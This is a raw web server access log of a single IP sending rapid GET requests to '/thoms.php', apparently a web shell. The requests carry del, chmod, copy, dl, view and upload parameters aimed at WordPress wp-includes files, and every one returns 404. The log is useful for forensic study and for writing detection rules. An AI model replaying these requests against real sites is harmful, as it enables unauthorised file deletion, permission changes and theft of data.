45.135.193.11 - - [11/Sep/2026:23:58:52 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fscript-loader.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fscript-loader.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:52 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&upload= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:52 -0400] "GET /thoms.php?chmod=html-api&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=html-api&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:52 -0400] "GET /thoms.php?del=sitemaps&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=sitemaps&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:52 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-block-supports.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-block-supports.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:52 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-comment.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-comment.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:52 -0400] "GET /thoms.php?del=class-wp-locale.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-locale.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:53 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-network-query.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-network-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:53 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fai-client&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fai-client&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:53 -0400] "GET /thoms.php?del=css&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=css&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:53 -0400] "GET /thoms.php?chmod=widgets&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=widgets&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:53 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-walker-category-dropdown.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-walker-category-dropdown.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:53 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-fatal-error-handler.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-fatal-error-handler.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:53 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-phpmailer.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-phpmailer.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:53 -0400] "GET /thoms.php?dl=general-template.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=general-template.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:53 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-date-query.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-date-query.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:53 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-list-util.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-list-util.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:53 -0400] "GET /thoms.php?dl=class-wp-textdomain-registry.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-textdomain-registry.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:53 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fview-config.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fview-config.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:53 -0400] "GET /thoms.php?chmod=class-wp-ajax-response.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-ajax-response.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:53 -0400] "GET /thoms.php?chmod=class-wp-icon-collections-registry.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-icon-collections-registry.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:53 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-term-query.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-term-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:53 -0400] "GET /thoms.php?chmod=kses.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=kses.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:54 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=vars.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=vars.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:54 -0400] "GET /thoms.php?del=class-wp-metadata-lazyloader.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-metadata-lazyloader.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:54 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes%2Finteractivity-api HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes%2Finteractivity-api" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:54 -0400] "GET /thoms.php?del=class-wp-comment.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-comment.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:54 -0400] "GET /thoms.php?dl=class-wp-exception.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-exception.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:54 -0400] "GET /thoms.php?chmod=vars.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=vars.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:54 -0400] "GET /thoms.php?del=abilities-api.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=abilities-api.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:54 -0400] "GET /thoms.php?dl=compat-utf8.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=compat-utf8.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:54 -0400] "GET /thoms.php?chmod=feed-rss2-comments.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=feed-rss2-comments.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:54 -0400] "GET /thoms.php?del=author-template.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=author-template.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:54 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-smtp.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-smtp.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:54 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-feed-cache.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-feed-cache.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:54 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-recovery-mode-cookie-service.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-recovery-mode-cookie-service.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:54 -0400] "GET /thoms.php?del=class-wp-speculation-rules.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-speculation-rules.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:54 -0400] "GET /thoms.php?del=class-smtp.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-smtp.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:54 -0400] "GET /thoms.php?dl=class-wp-hook.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-hook.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:55 -0400] "GET /thoms.php?chmod=class-wp-user-request.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-user-request.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:55 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass.wp-styles.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass.wp-styles.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:55 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fembed.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fembed.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:55 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Ffonts&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Ffonts&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:55 -0400] "GET /thoms.php?chmod=class-wp-network-query.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-network-query.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:55 -0400] "GET /thoms.php?dl=load.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=load.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:55 -0400] "GET /thoms.php?dl=query.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=query.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:55 -0400] "GET /thoms.php?dl=utf8.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=utf8.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:55 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-oembed.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-oembed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:55 -0400] "GET /thoms.php?dl=class-walker-page-dropdown.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-walker-page-dropdown.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:55 -0400] "GET /thoms.php?chmod=sodium_compat&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=sodium_compat&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:55 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=block-template.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=block-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:55 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fcapabilities.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fcapabilities.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:55 -0400] "GET /thoms.php?del=class-wp-customize-nav-menus.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-nav-menus.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:55 -0400] "GET /thoms.php?dl=class-wp-error.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-error.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:55 -0400] "GET /thoms.php?del=class-wp-post-type.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-post-type.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:56 -0400] "GET /thoms.php?chmod=abilities-api&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=abilities-api&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:56 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fcanonical.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fcanonical.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:56 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-cookie-service.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-cookie-service.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:56 -0400] "GET /thoms.php?chmod=class-wp-session-tokens.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-session-tokens.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:56 -0400] "GET /thoms.php?chmod=l10n.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=l10n.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:56 -0400] "GET /thoms.php?dl=sitemaps.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=sitemaps.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:56 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fdeprecated.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fdeprecated.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:56 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=sitemaps.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=sitemaps.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:56 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fsodium_compat&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fsodium_compat&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:56 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-block-pattern-categories-registry.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-block-pattern-categories-registry.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:56 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-block-supports.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-block-supports.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:56 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-roles.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-roles.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
